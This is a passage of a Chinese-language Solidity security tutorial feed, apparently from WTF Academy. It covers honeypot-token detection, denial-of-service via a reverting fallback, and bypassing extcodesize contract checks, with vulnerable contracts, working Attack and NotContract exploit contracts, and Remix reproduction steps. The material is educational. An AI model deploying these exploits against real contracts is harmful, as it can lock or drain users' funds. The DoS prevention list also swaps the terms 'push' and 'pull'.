            <span class="hljs-built_in">require</span>(<span class="hljs-keyword">from</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> owner(), <span class="hljs-string">"Can not Transfer"</span>);
        }
    }
}
</code></pre><p>预防方法</p><p>貔貅币是韭菜在链上梭哈最容易遇到的骗局，并且形式多变，预防非常有难度。我们有以下几点建议，可以降低被貔貅盘割韭菜的风险：</p><ol><li><p>在区块链浏览器上（比如<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://etherscan.io/">etherscan</a>）查看合约是否开源，如果开源，则分析它的代码，看是否有貔貅漏洞。</p></li><li><p>如果没有编程能力，可以使用貔貅识别工具，比如 <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://tokensniffer.com/">Token Sniffer</a>，分低的话大概率是貔貅。</p></li><li><p>看项目是否有审计报告。</p></li><li><p>仔细检查项目的官网和社交媒体。</p></li><li><p>只投资你了解的项目，做好研究（DYOR）。</p></li></ol><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">总结</h2><p>这一讲，我们介绍了貔貅合约和预防貔貅盘的方法。貔貅盘是每个韭菜必经之路，大家也对它恨之入骨。另外，最近也出现貔貅 <code>NFT</code>，恶意项目方通过修改 <code>ERC721</code> 的转账或授权函数，使得普通投资者不能出售它们。了解貔貅合约的原理和预防方法，可以显著减少你买到貔貅盘的概率，让你的资金更安全，大家要不断学习。</p>]]></content:encoded>
            <author>wtfacademy@newsletter.paragraph.com (0xAA)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/abff660faef94864217e76f49ee0b0cbebad46807f768a6dc4cc1777e9497f50.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[WTF Solidity 合约安全: S09. 拒绝服务]]></title>
            <link>https://paragraph.com/@wtfacademy/wtf-solidity-s09</link>
            <guid>N78PAM9ZkW6ymVJdDo3R</guid>
            <pubDate>Sun, 13 Nov 2022 09:26:56 GMT</pubDate>
            <description><![CDATA[我最近在重新学solidity，巩固一下细节，也写一个“WTF Solidity极简入门”，供小白们使用（编程大佬可以另找教程），每周更新1-3讲。 推特：@0xAA_Science｜@WTFAcademy_ 社区：Discord｜微信群｜官网 wtf.academy 所有代码和教程开源在github: github.com/AmazingAng/WTFSolidity这一讲，我们将介绍智能合约的拒绝服务（Denial of Service, DoS）漏洞，并介绍预防的方法。NFT项目 Akutar 曾因为 DoS 漏洞损失 11,539 ETH，当时价值 3400 万美元。DoS​在 Web2 中，拒绝服务攻击（DoS）是指通过向服务器发送大量垃圾信息或干扰信息的方式，导致服务器无法向正常用户提供服务的现象。而在 Web3，它指的是利用漏洞使得智能合约无法正常提供服务。 在2022年4月，一个很火的 NFT 项目名为 Akutar，他们使用荷兰拍卖进行公开发行，筹集了 11,539.5 ETH，非常成功。之前持有他们社区Pass的参与者会得到 0.5 ETH的退款，但是他们处理...]]></description>
            <content:encoded><![CDATA[<p>我最近在重新学solidity，巩固一下细节，也写一个“WTF Solidity极简入门”，供小白们使用（编程大佬可以另找教程），每周更新1-3讲。</p><p>推特：<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/0xAA_Science">@0xAA_Science</a>｜<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/WTFAcademy_">@WTFAcademy_</a></p><p>社区：<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://discord.wtf.academy/">Discord</a>｜<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link">微信群</a>｜<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://wtf.academy/">官网 wtf.academy</a></p><p>所有代码和教程开源在github: <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/AmazingAng/WTFSolidity">github.com/AmazingAng/WTFSolidity</a></p><hr><p>这一讲，我们将介绍智能合约的拒绝服务（Denial of Service, DoS）漏洞，并介绍预防的方法。NFT项目 Akutar 曾因为 DoS 漏洞损失 11,539 ETH，当时价值 3400 万美元。</p><h2 id="h-dos" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">DoS​</h2><p>在 Web2 中，拒绝服务攻击（DoS）是指通过向服务器发送大量垃圾信息或干扰信息的方式，导致服务器无法向正常用户提供服务的现象。而在 Web3，它指的是利用漏洞使得智能合约无法正常提供服务。</p><p>在2022年4月，一个很火的 NFT 项目名为 Akutar，他们使用<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/AmazingAng/WTF-Solidity/tree/main/35_DutchAuction">荷兰拍卖</a>进行公开发行，筹集了 11,539.5 ETH，非常成功。之前持有他们社区Pass的参与者会得到 0.5 ETH的退款，但是他们处理退款的时候，发现智能合约不能正常运行，全部资金被永远锁在了合约里。他们的智能合约有拒绝服务漏洞。</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/e6147426b40a8728d2c18ea1a726de78833889baa84998463f81891153aa9f64.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">漏洞例子​</h2><p>下面我们学习一个简化了的 Akutar 合约，名字叫 <code>DoSGame</code>。这个合约逻辑很简单，游戏开始时，玩家们调用 <code>deposit()</code> 函数往合约里存款，合约会记录下所有玩家地址和相应的存款；当游戏结束时，<code>refund()</code>函数被调用，将 ETH 依次退款给所有玩家。</p><pre data-type="codeBlock" text="// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

// 有DoS漏洞的游戏，玩家们先存钱，游戏结束后，调用deposit退钱。
contract DoSGame {
    bool public refundFinished;
    mapping(address =&gt; uint256) public balanceOf;
    address[] public players;
    
    // 所有玩家存ETH到合约里
    function deposit() external payable {
        require(!refundFinished, &quot;Game Over&quot;);
        require(msg.value &gt; 0, &quot;Please donate ETH&quot;);
        // 记录存款
        balanceOf[msg.sender] = msg.value;
        // 记录玩家地址
        players.push(msg.sender);
    }

    // 游戏结束，退款开始，所有玩家将依次收到退款
    function refund() external {
        require(!refundFinished, &quot;Game Over&quot;);
        uint256 pLength = players.length;
        // 通过循环给所有玩家退款
        for(uint256 i; i &lt; pLength; i++){
            address player = players[i];
            uint256 refundETH = balanceOf[player];
            (bool success, ) = player.call{value: refundETH}(&quot;&quot;);
            require(success, &quot;Refund Fail!&quot;);
            balanceOf[player] = 0;
        }
        refundFinished = true;
    }

    function balance() external view returns(uint256){
        return address(this).balance;
    }
}
"><code><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.4;</span>

<span class="hljs-comment">// 有DoS漏洞的游戏，玩家们先存钱，游戏结束后，调用deposit退钱。</span>
<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">DoSGame</span> </span>{
    <span class="hljs-keyword">bool</span> <span class="hljs-keyword">public</span> refundFinished;
    <span class="hljs-keyword">mapping</span>(<span class="hljs-keyword">address</span> <span class="hljs-operator">=</span><span class="hljs-operator">></span> <span class="hljs-keyword">uint256</span>) <span class="hljs-keyword">public</span> balanceOf;
    <span class="hljs-keyword">address</span>[] <span class="hljs-keyword">public</span> players;
    
    <span class="hljs-comment">// 所有玩家存ETH到合约里</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">deposit</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        <span class="hljs-built_in">require</span>(<span class="hljs-operator">!</span>refundFinished, <span class="hljs-string">"Game Over"</span>);
        <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span> <span class="hljs-operator">></span> <span class="hljs-number">0</span>, <span class="hljs-string">"Please donate ETH"</span>);
        <span class="hljs-comment">// 记录存款</span>
        balanceOf[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>;
        <span class="hljs-comment">// 记录玩家地址</span>
        players.<span class="hljs-built_in">push</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>);
    }

    <span class="hljs-comment">// 游戏结束，退款开始，所有玩家将依次收到退款</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">refund</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-built_in">require</span>(<span class="hljs-operator">!</span>refundFinished, <span class="hljs-string">"Game Over"</span>);
        <span class="hljs-keyword">uint256</span> pLength <span class="hljs-operator">=</span> players.<span class="hljs-built_in">length</span>;
        <span class="hljs-comment">// 通过循环给所有玩家退款</span>
        <span class="hljs-keyword">for</span>(<span class="hljs-keyword">uint256</span> i; i <span class="hljs-operator">&#x3C;</span> pLength; i<span class="hljs-operator">+</span><span class="hljs-operator">+</span>){
            <span class="hljs-keyword">address</span> player <span class="hljs-operator">=</span> players[i];
            <span class="hljs-keyword">uint256</span> refundETH <span class="hljs-operator">=</span> balanceOf[player];
            (<span class="hljs-keyword">bool</span> success, ) <span class="hljs-operator">=</span> player.<span class="hljs-built_in">call</span>{<span class="hljs-built_in">value</span>: refundETH}(<span class="hljs-string">""</span>);
            <span class="hljs-built_in">require</span>(success, <span class="hljs-string">"Refund Fail!"</span>);
            balanceOf[player] <span class="hljs-operator">=</span> <span class="hljs-number">0</span>;
        }
        refundFinished <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">balance</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>)</span>{
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span>;
    }
}
</code></pre><p>这里的漏洞在于，<code>refund()</code> 函数中利用循环退款的时候，是使用的 <code>call</code> 函数，将激活目标地址的回调函数，如果目标地址为一个恶意合约，在回调函数中加入了恶意逻辑，退款将不能正常进行。</p><pre data-type="codeBlock" text="(bool success, ) = player.call{value: refundETH}(&quot;&quot;);
"><code>(<span class="hljs-keyword">bool</span> success, ) <span class="hljs-operator">=</span> player.<span class="hljs-built_in">call</span>{<span class="hljs-built_in">value</span>: refundETH}(<span class="hljs-string">""</span>);
</code></pre><p>下面我们写个攻击合约， <code>attack()</code> 函数中将调用 <code>DoSGame</code> 合约的 <code>deposit()</code> 存款并参与游戏；<code>fallback()</code> 回调函数将回退所有向该合约发送<code>ETH</code>的交易，对<code>DoSGame</code> 合约中的DoS漏洞进行了攻击，所有退款将不能正常进行，资金被锁在合约中，就像 Akutar 合约中的一万多枚ETH一样。</p><pre data-type="codeBlock" text="contract Attack {
    fallback() external payable{
        revert(&quot;DoS Attack!&quot;);
    }

    function attack(address gameAddr) external payable {
        DoSGame dos = DoSGame(gameAddr);
        dos.deposit{value: msg.value}();
    }
}
"><code><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Attack</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">fallback</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span></span>{
        <span class="hljs-keyword">revert</span>(<span class="hljs-string">"DoS Attack!"</span>);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">attack</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> gameAddr</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        DoSGame dos <span class="hljs-operator">=</span> DoSGame(gameAddr);
        dos.deposit{<span class="hljs-built_in">value</span>: <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>}();
    }
}
</code></pre><h2 id="h-remix" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0"><code>Remix</code> 复现​</h2><ol><li><p>部署 <code>DoSGame</code> 合约。</p></li><li><p>调用 <code>DoSGame</code> 合约的 <code>deposit()</code>，进行存款并参与游戏。</p></li><li><p>部署 <code>Attack</code> 合约。</p></li><li><p>调用 <code>Attack</code> 合约的 <code>attack()</code>，进行存款并参与游戏。</p></li><li><p>调用 <code>DoSGame</code> 合约<code>refund()</code>，进行退款，发现不能正常运行，攻击成功。</p></li></ol><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">预防方法​</h2><p>很多逻辑错误都可能导致智能合约拒绝服务，所以开发者在写智能合约时要万分谨慎。以下是一些需要特别注意的地方：</p><ol><li><p>外部合约的函数调用（例如 <code>call</code>）失败时不会使得重要功能卡死，比如将上面漏洞合约中的 <code>require(success, &quot;Refund Fail!&quot;);</code> 去掉，退款在单个地址失败时仍能继续运行。</p></li><li><p>合约不会出乎意料的自毁。</p></li><li><p>合约不会进入无限循环。</p></li><li><p><code>require</code> 和 <code>assert</code> 的参数设定正确。</p></li><li><p>退款时，让用户从合约自行领取（push），而非批量发送给用户(pull)。</p></li><li><p>确保回调函数不会影响正常合约运行。</p></li><li><p>确保当合约的参与者（例如 <code>owner</code>）永远缺席时，合约的主要业务仍能顺利运行。</p></li></ol><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">总结​</h2><p>这一讲，我们介绍了智能合约的拒绝服务，并举了 Akutar 项目因为该漏洞损失了一万多枚ETH。很多逻辑错误都能导致DoS，开发者写智能合约时要万分谨慎，比如退款要让用户自行领取，而非合约批量发送给用户。</p>]]></content:encoded>
            <author>wtfacademy@newsletter.paragraph.com (0xAA)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/abff660faef94864217e76f49ee0b0cbebad46807f768a6dc4cc1777e9497f50.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[WTF Solidity 合约安全: S08. 绕过合约检查]]></title>
            <link>https://paragraph.com/@wtfacademy/wtf-solidity-s08</link>
            <guid>QfpOm6pqwqtvlsko62dU</guid>
            <pubDate>Sat, 12 Nov 2022 03:28:00 GMT</pubDate>
            <description><![CDATA[我最近在重新学solidity，巩固一下细节，也写一个“WTF Solidity极简入门”，供小白们使用（编程大佬可以另找教程），每周更新1-3讲。 推特：@0xAA_Science｜@WTFAcademy_ 社区：Discord｜微信群｜官网 wtf.academy 所有代码和教程开源在github: github.com/AmazingAng/WTFSolidity这一讲，我们将介绍绕过合约长度检查，并介绍预防的方法。绕过合约检查​很多 freemint 的项目为了限制科学家（程序员）会用到 isContract() 方法，希望将调用者 msg.sender 限制为外部账户（EOA），而非合约。这个函数利用 extcodesize 获取该地址所存储的 bytecode 长度（runtime），若大于0，则判断为合约，否则就是EOA（用户）。 // 利用 extcodesize 检查是否为合约 function isContract(address account) public view returns (bool) { // extcodesize > 0 的地址一定是合约...]]></description>
            <content:encoded><![CDATA[<p>我最近在重新学solidity，巩固一下细节，也写一个“WTF Solidity极简入门”，供小白们使用（编程大佬可以另找教程），每周更新1-3讲。</p><p>推特：<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/0xAA_Science">@0xAA_Science</a>｜<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/WTFAcademy_">@WTFAcademy_</a></p><p>社区：<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://discord.wtf.academy/">Discord</a>｜<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link">微信群</a>｜<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://wtf.academy/">官网 wtf.academy</a></p><p>所有代码和教程开源在github: <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/AmazingAng/WTFSolidity">github.com/AmazingAng/WTFSolidity</a></p><hr><p>这一讲，我们将介绍绕过合约长度检查，并介绍预防的方法。</p><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">绕过合约检查​</h2><p>很多 freemint 的项目为了限制科学家（程序员）会用到 <code>isContract()</code> 方法，希望将调用者 <code>msg.sender</code> 限制为外部账户（EOA），而非合约。这个函数利用 <code>extcodesize</code> 获取该地址所存储的 <code>bytecode</code> 长度（runtime），若大于0，则判断为合约，否则就是EOA（用户）。</p><pre data-type="codeBlock" text="    // 利用 extcodesize 检查是否为合约
    function isContract(address account) public view returns (bool) {
        // extcodesize &gt; 0 的地址一定是合约地址
        // 但是合约在构造函数时候 extcodesize 为0
        uint size;
        assembly {
            size := extcodesize(account)
        }
        return size &gt; 0;
    }
"><code>    <span class="hljs-comment">// 利用 extcodesize 检查是否为合约</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">isContract</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> account</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
        <span class="hljs-comment">// extcodesize > 0 的地址一定是合约地址</span>
        <span class="hljs-comment">// 但是合约在构造函数时候 extcodesize 为0</span>
        <span class="hljs-keyword">uint</span> size;
        <span class="hljs-keyword">assembly</span> {
            size <span class="hljs-operator">:=</span> <span class="hljs-built_in">extcodesize</span>(account)
        }
        <span class="hljs-keyword">return</span> size <span class="hljs-operator">></span> <span class="hljs-number">0</span>;
    }
</code></pre><p>这里有一个漏洞，就是在合约在被创建的时候，<code>runtime bytecode</code> 还没有被存储到地址上，因此 <code>bytecode</code> 长度为0。也就是说，如果我们将逻辑写在合约的构造函数 <code>constructor</code> 中的话，就可以绕过 <code>isContract()</code> 检查。</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">漏洞例子​</h2><p>下面我们来看一个例子：<code>ContractCheck</code>合约是一个 freemint ERC20 合约，铸造函数 <code>mint()</code> 中使用了 <code>isContract()</code> 函数来阻止合约地址的调用，防止科学家批量铸造。每次调用 <code>mint()</code> 可以铸造 100 枚代币。</p><pre data-type="codeBlock" text="// 用extcodesize检查是否为合约地址
contract ContractCheck is ERC20 {
    // 构造函数：初始化代币名称和代号
    constructor() ERC20(&quot;&quot;, &quot;&quot;) {}
    
    // 利用 extcodesize 检查是否为合约
    function isContract(address account) public view returns (bool) {
        // extcodesize &gt; 0 的地址一定是合约地址
        // 但是合约在构造函数时候 extcodesize 为0
        uint size;
        assembly {
            size := extcodesize(account)
        }
        return size &gt; 0;
    }

    // mint函数，只有非合约地址能调用（有漏洞）
    function mint() public {
        require(!isContract(msg.sender), &quot;Contract not allowed!&quot;);
        _mint(msg.sender, 100);
    }
}
"><code><span class="hljs-comment">// 用extcodesize检查是否为合约地址</span>
<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">ContractCheck</span> <span class="hljs-keyword">is</span> <span class="hljs-title">ERC20</span> </span>{
    <span class="hljs-comment">// 构造函数：初始化代币名称和代号</span>
    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"></span>) <span class="hljs-title">ERC20</span>(<span class="hljs-params"><span class="hljs-string">""</span>, <span class="hljs-string">""</span></span>) </span>{}
    
    <span class="hljs-comment">// 利用 extcodesize 检查是否为合约</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">isContract</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> account</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
        <span class="hljs-comment">// extcodesize > 0 的地址一定是合约地址</span>
        <span class="hljs-comment">// 但是合约在构造函数时候 extcodesize 为0</span>
        <span class="hljs-keyword">uint</span> size;
        <span class="hljs-keyword">assembly</span> {
            size <span class="hljs-operator">:=</span> <span class="hljs-built_in">extcodesize</span>(account)
        }
        <span class="hljs-keyword">return</span> size <span class="hljs-operator">></span> <span class="hljs-number">0</span>;
    }

    <span class="hljs-comment">// mint函数，只有非合约地址能调用（有漏洞）</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">mint</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        <span class="hljs-built_in">require</span>(<span class="hljs-operator">!</span>isContract(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>), <span class="hljs-string">"Contract not allowed!"</span>);
        _mint(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, <span class="hljs-number">100</span>);
    }
}
</code></pre><p>我们写一个攻击合约，在 <code>constructor</code> 中多次调用 <code>ContractCheck</code> 合约中的 <code>mint()</code> 函数，批量铸造 <code>1000</code> 枚代币：</p><pre data-type="codeBlock" text="// 利用构造函数的特点攻击
contract NotContract {
    bool public isContract;
    address public contractCheck;

    // 当合约正在被创建时，extcodesize (代码长度) 为 0，因此不会被 isContract() 检测出。
    constructor(address addr) {
        contractCheck = addr;
        isContract = ContractCheck(addr).isContract(address(this));
        // This will work
        for(uint i; i &lt; 10; i++){
            ContractCheck(addr).mint();
        }
    }

    // 合约创建好以后，extcodesize &gt; 0，isContract() 可以检测
    function mint() external {
        ContractCheck(contractCheck).mint();
    }
}
"><code><span class="hljs-comment">// 利用构造函数的特点攻击</span>
<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">NotContract</span> </span>{
    <span class="hljs-keyword">bool</span> <span class="hljs-keyword">public</span> isContract;
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> contractCheck;

    <span class="hljs-comment">// 当合约正在被创建时，extcodesize (代码长度) 为 0，因此不会被 isContract() 检测出。</span>
    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> addr</span>) </span>{
        contractCheck <span class="hljs-operator">=</span> addr;
        isContract <span class="hljs-operator">=</span> ContractCheck(addr).isContract(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>));
        <span class="hljs-comment">// This will work</span>
        <span class="hljs-keyword">for</span>(<span class="hljs-keyword">uint</span> i; i <span class="hljs-operator">&#x3C;</span> <span class="hljs-number">10</span>; i<span class="hljs-operator">+</span><span class="hljs-operator">+</span>){
            ContractCheck(addr).mint();
        }
    }

    <span class="hljs-comment">// 合约创建好以后，extcodesize > 0，isContract() 可以检测</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">mint</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        ContractCheck(contractCheck).mint();
    }
}
</code></pre><p>如果我们之前讲的是正确的话，在构造函数调用 <code>mint()</code> 可以绕过 <code>isContract()</code> 的检查成功铸造代币，那么函数将成功部署，并且状态变量 <code>isContract</code> 会在构造函数赋值 <code>false</code>。而在合约部署之后，<code>runtime bytecode</code> 已经被存储在合约地址上了，<code>extcodesize &gt; 0</code>， <code>isContract()</code> 能够成功阻止铸造，调用 <code>mint()</code> 函数将失败。</p><h2 id="h-remix" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0"><code>Remix</code> 复现​</h2><ol><li><p>部署 <code>ContractCheck</code> 合约。</p></li><li><p>部署 <code>NotContract</code> 合约，参数为 <code>ContractCheck</code> 合约地址。</p></li><li><p>调用 <code>ContractCheck</code> 合约的 <code>balanceOf</code> 查看 <code>NotContract</code> 合约的代币余额为 <code>1000</code>，攻击成功。</p></li><li><p>调用<code>NotContract</code> 合约的 <code>mint()</code> 函数，由于此时合约已经部署完成，调用 <code>mint()</code> 函数将失败。</p></li></ol><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">预防办法​</h2><p>你可以使用 <code>(tx.origin == msg.sender)</code> 来检测调用者是否为合约。如果调用者为 EOA，那么<code>tx.origin</code>和<code>msg.sender</code>相等；如果它们俩不想等，调用者为合约。</p><pre data-type="codeBlock" text="function realContract(address account) public view returns (bool) {
    return (tx.origin == msg.sender);
}
"><code><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">realContract</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> account</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
    <span class="hljs-keyword">return</span> (<span class="hljs-built_in">tx</span>.<span class="hljs-built_in">origin</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>);
}
</code></pre><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">总结​</h2><p>这一讲，我们介绍了合约长度检查可以被绕过的漏洞，并介绍预防的方法。如果一个地址的 <code>extcodesize &gt; 0</code>，则该地址一定为合约；但如果 <code>extcodesize = 0</code>，该地址既可能为 <code>EOA</code>，也可能为正在创建状态的合约。</p>]]></content:encoded>
            <author>wtfacademy@newsletter.paragraph.com (0xAA)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/abff660faef94864217e76f49ee0b0cbebad46807f768a6dc4cc1777e9497f50.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[WTF Solidity 合约安全: S07. 坏随机数]]></title>
            <link>https://paragraph.com/@wtfacademy/wtf-solidity-s07</link>
            <guid>YuX8ZfYUVLYJ737EpQAG</guid>
            <pubDate>Thu, 10 Nov 2022 11:18:54 GMT</pubDate>
            <description><![CDATA[我最近在重新学solidity，巩固一下细节，也写一个“WTF Solidity极简入门”，供小白们使用（编程大佬可以另找教程），每周更新1-3讲。 推特：@0xAA_Science｜@WTFAcademy_ 社区：Discord｜微信群｜官网 wtf.academy 所有代码和教程开源在github: github.com/AmazingAng/WTFSolidity这一讲，我们将介绍智能合约的坏随机数（Bad Randomness）漏洞和预防方法，这个漏洞经常在 NFT 和 GameFi 中出现，包括 Meebits，Loots，Wolf Game等。伪随机数很多以太坊上的应用都需要用到随机数，例如NFT随机抽取tokenId、抽盲盒、gamefi战斗中随机分胜负等等。但是由于以太坊上所有数据都是公开透明（public）且确定性（deterministic）的，它没有其他编程语言一样给开发者提供生成随机数的方法，例如random()。很多项目方不得不使用链上的伪随机数生成方法，例如 blockhash() 和 keccak256() 方法。 坏随机数漏洞：攻击者可以事先计算这...]]></description>
            <content:encoded><![CDATA[<p>我最近在重新学solidity，巩固一下细节，也写一个“WTF Solidity极简入门”，供小白们使用（编程大佬可以另找教程），每周更新1-3讲。</p><p>推特：<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/0xAA_Science">@0xAA_Science</a>｜<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/WTFAcademy_">@WTFAcademy_</a></p><p>社区：<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://discord.wtf.academy">Discord</a>｜<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link">微信群</a>｜<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://wtf.academy">官网 wtf.academy</a></p><p>所有代码和教程开源在github: <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/AmazingAng/WTFSolidity">github.com/AmazingAng/WTFSolidity</a></p><hr><p>这一讲，我们将介绍智能合约的坏随机数（Bad Randomness）漏洞和预防方法，这个漏洞经常在 NFT 和 GameFi 中出现，包括 Meebits，Loots，Wolf Game等。</p><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">伪随机数</h2><p>很多以太坊上的应用都需要用到随机数，例如<code>NFT</code>随机抽取<code>tokenId</code>、抽盲盒、<code>gamefi</code>战斗中随机分胜负等等。但是由于以太坊上所有数据都是公开透明（<code>public</code>）且确定性（<code>deterministic</code>）的，它没有其他编程语言一样给开发者提供生成随机数的方法，例如<code>random()</code>。很多项目方不得不使用链上的伪随机数生成方法，例如 <code>blockhash()</code> 和 <code>keccak256()</code> 